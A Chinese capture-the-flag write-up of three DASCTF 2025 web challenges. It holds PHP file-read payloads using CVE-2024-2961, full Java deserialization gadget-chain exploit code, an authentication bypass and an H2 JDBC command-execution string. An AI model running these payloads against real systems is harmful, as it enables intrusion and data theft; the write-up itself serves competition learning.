【Web】DASCTF 2025上半年賽 wp

目錄

phpms

再短一點點?

澤西島


phpms

dirsearch請求太快會報429,要設置一手--delay,掃出來.git

跑一下githacker

git stash list
git stash show -p

?注釋的繞過參考:從國賽想到的一些php繞過注釋符trick

發現很多函數都被disable了

?這里用php原生類先讀/etc/passwd

/index.php?shell=?><?php $context = new SplFileObject('/etc/passwd');
foreach($context as $f){echo($f);
}

看到有redis,后續存在利用

?接下來用SplFileObject原生類配合CNEXT (CVE-2024-2961)進行命令執行

用這個改進過的腳本:https://github.com/kezibei/php-filter-iconv

先讀maps

/index.php?shell=?><?php 
$context = new SplFileObject('file:///proc/self/maps');
foreach($context as $f){echo($f);
}

?再讀/lib/x86_64-linux-gnu/libc-2.31.so

/index.php?shell=?><?php 
$context = new SplFileObject('php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so');
foreach($context as $f){echo($f);
}

?腳本生成payload

?執行后502,無回顯,可將執行結果寫入文件再讀取

發現flag不在文件中,在redis里

去讀/etc/redis.conf,讀到密碼為admin123

將命令改為

echo "auth admin123\nget flag" | redis-cli > /tmp/res.txt

再短一點點?

先來看黑名單過濾

第一個過濾com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,即getter的sink

第二個過濾javax.management.BadAttributeValueExpException,即直接觸發toString的手段

第三個過濾了aop相關類,但org.springframework.aop.target.HotSwappableTargetSource沒有被ban

又注意到題目庫里有Jackson,可以由toString觸發POJONODE來調getter,這里用SignedObject打二次反序列化即可

參考文章:Jackson原生反序列化 - Infernity's Blog

至于toString的觸發,可以先試試EventListenerList這條鏈

https://github.com/datouo/CTF-Java-Gadget/blob/master/src/main/java/com/xiinnn/readobject2tostring/EventListenerListReadObject2ToString.java

?

鏈子搓完了,接下來看題目要求(

/deser路由,要求payload長度≤1282,經過InflaterInputStream解碼,然后傳到MyObjectInputStream里反序列化

反序列化完后執行命令,?刪除/a文件,接著再訪問/flag路由獲取flag

?跑通了poc

package GFCTF;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.security.*;
import java.util.Base64;
import java.util.Vector;public class exp {public static void main(String[] args) throws Exception {overrideJackson();byte[] bytes = getshortclass("calc");TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);Object obj = getPOJONodeStableProxy(templates);POJONode pojoNode = new POJONode(obj);EventListenerList list = new EventListenerList();UndoManager manager = new UndoManager();Vector vector = (Vector) getFieldValue(manager, "edits");vector.add(pojoNode);setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});//二次反序列化SignedObject signedObject = second_serialize(list);POJONode pojoNode2 = new POJONode(signedObject);EventListenerList list2 = new EventListenerList();UndoManager manager2 = new UndoManager();Vector vector2 = (Vector) getFieldValue(manager2, "edits");vector2.add(pojoNode2);setFieldValue(list2, "listenerList", new Object[]{InternalError.class, manager2});String a = serialize(list2);System.out.println(a);System.out.println(a.length());unserialize(a);}public static Object getFieldValue(Object obj, String fieldName) throws Exception{Field field = null;Class c = obj.getClass();for (int i = 0; i < 5; i++) {try {field = c.getDeclaredField(fieldName);} catch (NoSuchFieldException e){c = c.getSuperclass();}}field.setAccessible(true);return field.get(obj);}public static void setFieldValue(Object obj, String field, Object val) throws Exception{Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}public static SignedObject second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException {KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));return signedObject;}//獲取進行了動態代理的templatesImpl,保證觸發getOutputpublic static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception{Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);cons.setAccessible(true);AdvisedSupport advisedSupport = new AdvisedSupport();advisedSupport.setTarget(templatesImpl);InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);return proxyObj;}//重寫jacksonpublic static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");ctClass.removeMethod(writeReplace);ctClass.toClass();}public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static Object getTemplates(byte[] bytes) throws Exception {Templates templates = new TemplatesImpl();setValue(templates, "_bytecodes", new byte[][]{bytes});setValue(templates, "_name", "Infernity");setValue(templates, "_tfactory", new TransformerFactoryImpl());return templates;}//提供需要序列化的類,返回base64后的字節碼public static String serialize(Object obj) throws IOException {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(obj);String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());return poc;}//提供base64后的字節碼,進行反序列化public static void unserialize(String exp) throws IOException,ClassNotFoundException{byte[] bytes = Base64.getDecoder().decode(exp);ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();}//一個短的命令執行class,用javassist寫的public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");clazz.addConstructor(constructor);byte[] bytes = clazz.toBytecode();return bytes;}
}

但長度太長,需要削減不必要部分

首先置空TP的不必要字段

刪掉jackson鏈子穩定性部分?

?跑完還是離1282差一點🤔

于是換toString的入口

HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString

package GFCTF;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.target.HotSwappableTargetSource;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.Base64;
import java.util.zip.Deflater;
import java.util.zip.DeflaterOutputStream;
import java.util.zip.InflaterInputStream;
import java.util.HashMap;public class exp {public static void main(String[] args) throws Exception {overrideJackson();byte[] bytes = getshortclass("calc");TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);POJONode pojoNode = new POJONode(templates);HotSwappableTargetSource h11 = new HotSwappableTargetSource(pojoNode);HotSwappableTargetSource h21 = new HotSwappableTargetSource(new XString(null));HashMap<Object, Object> objectObjectHashMap = makeMap(h11, h21);//二次反序列化SignedObject signedObject = second_serialize(objectObjectHashMap);POJONode pojoNode2 = new POJONode(signedObject);HotSwappableTargetSource h12 = new HotSwappableTargetSource(pojoNode2);HotSwappableTargetSource h22 = new HotSwappableTargetSource(new XString(null));HashMap<Object, Object> objectObjectHashMap2 = makeMap(h12, h22);String a = serialize(objectObjectHashMap2);System.out.println(a);System.out.println(a.length());unserialize(a);}public static Object getFieldValue(Object obj, String fieldName) throws Exception{Field field = null;Class c = obj.getClass();for (int i = 0; i < 5; i++) {try {field = c.getDeclaredField(fieldName);} catch (NoSuchFieldException e){c = c.getSuperclass();}}field.setAccessible(true);return field.get(obj);}public static void setFieldValue(Object obj, String field, Object val) throws Exception{Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}public static SignedObject second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException {KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");kpg.initialize(1024);KeyPair kp = kpg.generateKeyPair();SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA"));return signedObject;}//重寫jacksonpublic static void overrideJackson() throws NotFoundException, CannotCompileException, IOException {CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");ctClass.removeMethod(writeReplace);ctClass.toClass();}public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static Object getTemplates(byte[] bytes) throws Exception {Templates templates = new TemplatesImpl();setValue(templates, "_bytecodes", new byte[][]{bytes});setValue(templates, "_name", "");setValue(templates, "_tfactory", null);return templates;}public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {HashMap<Object, Object> s = new HashMap<>();setFieldValue(s, "size", 2);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));setFieldValue(s, "table", tbl);return s;}//提供需要序列化的類,返回base64后的字節碼public static String serialize(Object obj) throws IOException {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();// 使用 Deflater 設置為最高壓縮率Deflater deflater = new Deflater(Deflater.BEST_COMPRESSION);DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream, deflater);ObjectOutputStream objectOutputStream = new ObjectOutputStream(deflaterOutputStream);objectOutputStream.writeObject(obj);// 關閉流objectOutputStream.flush();deflaterOutputStream.finish();deflaterOutputStream.close();// 轉換為 Base64 字符串String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());return poc;}//提供base64后的字節碼,進行反序列化public static void unserialize(String exp) throws IOException,ClassNotFoundException{new MyObjectInputStream(new InflaterInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(exp)))).readObject();}//一個短的命令執行class,用javassist寫的public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");clazz.addConstructor(constructor);byte[] bytes = clazz.toBytecode();return bytes;}
}

更接近了一點🤔?

?短不了一點了,下一題

澤西島

這題是個不出網H2 RCE

扒一扒h2database遠程代碼執行 | 離別歌

首先是鑒權的繞過

用/api/testConnect;.繞過

接著打H2 RCE

cat /flag > $CATALINA_HOME/webapps/ROOT/404.jsp
jdbcUrl=jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INI\T=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('bash -c {echo,Y2F0IC9mbGFnID4gJENBVEFMSU5BX0hPTUUvd2ViYXBwcy9ST09ULzQwNC5qc3A\=}|{base64,-d}|{bash,-i}')\;;AUTHZPWD=\

再隨便訪問個不存在的路由,帶出flag?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/90461.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/90461.shtml
英文地址,請注明出處:http://en.pswp.cn/web/90461.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

STM32-USART串口配置教程和printf函數實現(寄存器版)

本章概述思維導圖通信介紹通信介紹概況通信&#xff0c;至少是需要兩個對象&#xff0c;一個收一個發數據。根據數據通信的傳輸時序協調方式&#xff0c;可分為&#xff1a;同步通信和異步通信&#xff1b;根據數據通信的傳輸線路可分為&#xff1a;串行通信和并行通信&#xf…

4種靈活的方法從POCO手機中刪除聯系人

許多POCO用戶經常需要清理聯系人列表&#xff0c;刪除重復或過時的條目&#xff0c;或者在出售或贈送手機之前刪除個人或敏感聯系人。無論是為了隱私、組織管理&#xff0c;還是僅僅是為了管理存儲空間&#xff0c;高效地刪除POCO手機中的聯系人是至關重要的。本文將介紹4種智能…

航段導航計算機 (Segment_Navigator) 設計與實現

航段導航計算機 (Segment_Navigator) 設計與實現 前些天發現了一個巨牛的人工智能學習網站&#xff0c;通俗易懂&#xff0c;風趣幽默&#xff0c;忍不住分享一下給大家&#xff0c;覺得好請收藏。點擊跳轉到網站。 1. 引言 航段導航計算機是現代航空電子系統中的關鍵組件&a…

input.1是onnx輸入的名稱,但是依然警告不是

導出動態軸的時候發現&#xff0c;明明input.1就是onnx的名字&#xff0c;但是依然有警告說不是&#xff1b;/miniconda3/envs/py38/lib/python3.8/site-packages/torch/onnx/utils.py:2078: UserWarning: Provided key input.1 for dynamic axes is not a valid input/output …

生成式人工智能展望報告-歐盟-02-技術方面

原文地址 摘要 本章的重點是GenAI的技術層面&#xff0c;首先是對其能力和局限性的評估。它強調了部署GenAI系統所帶來的網絡安全挑戰。會議討論了新出現的技術趨勢&#xff0c;為決策者和利益攸關方提供了前瞻性的視角。關鍵問題包括確保GenAI應用程序的安全性和可靠性所需的…

人工智能與云計算雙輪驅動:元宇宙如何重構全球產業生態

一、人工智能在元宇宙中的核心應用1. 內容生成與虛擬世界構建生成式AI&#xff08;AIGC&#xff09;&#xff1a;通過AI算法自動生成3D模型、虛擬場景和角色&#xff0c;顯著降低內容制作成本和時間。例如&#xff1a;聯想晨星元宇宙平臺&#xff1a;利用AIGC技術實現低成本、高…

企業信息管理系統開發實戰:基于 Spring Boot+MyBatis+Thymeleaf

引言&#xff1a;企業信息管理系統的核心價值在企業日常運營中&#xff0c;高效的信息管理是提升效率的關鍵。本文將手把手教你開發一套企業信息管理系統&#xff0c;涵蓋用戶登錄、信息增刪改查、權限控制等核心功能。系統采用 Spring Boot 作為后端框架&#xff0c;MyBatis 處…

NLP自然語言處理的一些疑點整理

PyTorch評估模式&#xff08;torch.no_grad和model.eval&#xff09;差異在PyTorch中&#xff0c;model.eval()和torch.no_grad()是模型評估和推理階段的兩個關鍵工具&#xff0c;它們各自扮演著不同的角色&#xff0c;但常常被一起使用以確保模型行為的正確性和計算效率。理解…

物流倉儲自動化升級:Modbus TCP與DeviceNet的協議融合實踐

一、項目背景在我們物流廠的日常運營中&#xff0c;分揀效率和倉儲精準度一直是瓶頸。傳統人工分揀不僅速度慢&#xff0c;還容易因疲勞出錯&#xff1b;倉儲區域的貨物定位全靠人工記錄&#xff0c;時常出現找貨難、盤點耗時的問題。生產線的核心控制依賴施耐德PLC&#xff0c…

產品動態 | 同創永益IStorM Chaos 混沌工程平臺V4.0震撼發布:智能驅動,筑牢系統穩定性防線

當混沌工程從試點走向企業級大規模推廣&#xff0c;標準化缺失、專家依賴高、實施效率低等痛點成為阻礙系統穩定性升級的 “攔路虎”。此刻&#xff0c;同創永益重磅推出IStorM Chaos 混沌工程平臺 V4.0&#xff0c;以智能技術為核心驅動力&#xff0c;為企業構建更高效、更靈活…

C++中的反向迭代器

C中的反向迭代器 為啥反向迭代器的講解要單獨拎出來講&#xff0c;沒有在講各個容器的時候順手講了呢&#xff1f; 主要是因為c中的反向迭代器和正向迭代器的實現不太一樣。 它思想不復雜&#xff0c;主要是巧。來&#xff0c;我們按照我們剛剛的想法把代碼寫出來 #pragma once…

【一步步ai】數據增強與預處理

提升NL2SQL系統性能是一個復雜的多維度優化問題&#xff0c;涉及數據工程、模型架構、訓練策略和評估方法等多個層面。以下是一些有效的提升方向和具體方法&#xff1a; 一、數據增強與預處理 多樣化數據生成 模板擴展&#xff1a;基于SQL語法模板自動生成多樣化的NL-SQL對&am…

站在哪個肩膀上開始學習卡爾曼濾波

站在哪個肩膀上開始學習卡爾曼濾波前言從自適應濾波的角度正交性原理到維納解kalman濾波的提出innovation process新息過程kalman濾波算法Kalman 自適應濾波器算法初始條件輸入觀測向量過程已知參數計算&#xff1a;n1&#xff0c;2&#xff0c;3&#xff0c;..參考前言 不知道…

什么是FCR,如何提升FCR?

? FCR&#xff08;First Call Resolution&#xff0c;首次呼叫解決率&#xff09;&#xff0c;意思是指客戶首次聯系客服時&#xff0c;問題在單次交互中被完全解決的比率。? ?FCR &#xff08;首次解決的通話量 / 總首次通話量&#xff09; 100%一、關鍵要點&…

【瀏覽器插件沖突】Edge瀏覽器加載不出來CSDN創作者中心

【瀏覽器插件沖突】Edge瀏覽器加載不出來CSDN創作者中心寫在最前面報錯GPT的全部回復&#xff0c;可以參考&#x1f50d; 具體錯誤解釋&#xff1a;1. **CORS錯誤**2. **XHR 請求失敗**3. **ReaderArticleFinder / Readability**&#x1f6e0;? 為什么頁面沒有內容顯示&#x…

從零開發Java坦克大戰:架構設計與難點突破 (下)

6. 游戲引擎類:6.1 完整源碼展示: import javax.swing.*; import java.awt.*; import java.awt.event.KeyEvent; import java.awt.event.KeyListener; import java.util.ArrayList; import java.util.HashSet; import java.util.Random; import java.util.Set;public class Gam…

Git下載與安裝全攻略

引言 Git是當今最流行的分布式版本控制系統&#xff0c;由Linus Torvalds于2005年創建。它幫助開發者高效管理代碼變更&#xff0c;支持多人協作開發&#xff0c;是現代軟件開發不可或缺的工具。無論是個人項目還是團隊協作&#xff0c;Git都能提供強大的版本控制功能。 本文…

【Elasticsearch】快照生命周期管理 SLM(理論篇)

《Elasticsearch 集群》系列&#xff0c;共包含以下文章&#xff1a; 1?? 冷熱集群架構2?? 合適的鍋炒合適的菜&#xff1a;性能與成本平衡原理公式解析3?? ILM&#xff08;Index Lifecycle Management&#xff09;策略詳解4?? Elasticsearch 跨機房部署5?? 快照與恢…

深入理解 UDP 協議:從原理到實戰的技術解析

UDP&#xff08;User Datagram Protocol&#xff0c;用戶數據報協議&#xff09;作為 TCP 的 "輕量型伙伴"&#xff0c;在實時通信、流媒體傳輸等場景中發揮著不可替代的作用。與 TCP 的可靠傳輸不同&#xff0c;UDP 以 "簡單、快速、無連接" 為設計理念&a…

c語言-數據結構-沿順相同樹解決對稱二叉樹問題的兩種思路

二叉樹OJ前言對稱二叉樹前言 本篇繼續講解二叉樹OJ題目之對稱二叉樹 對稱二叉樹 題目鏈接&#xff1a;https://leetcode.cn/problems/symmetric-tree/description/ 該題要求比較這棵樹是否對稱&#xff0c;對稱&#xff0c;指的是結構對稱并且值也要對稱&#xff0c;即對應…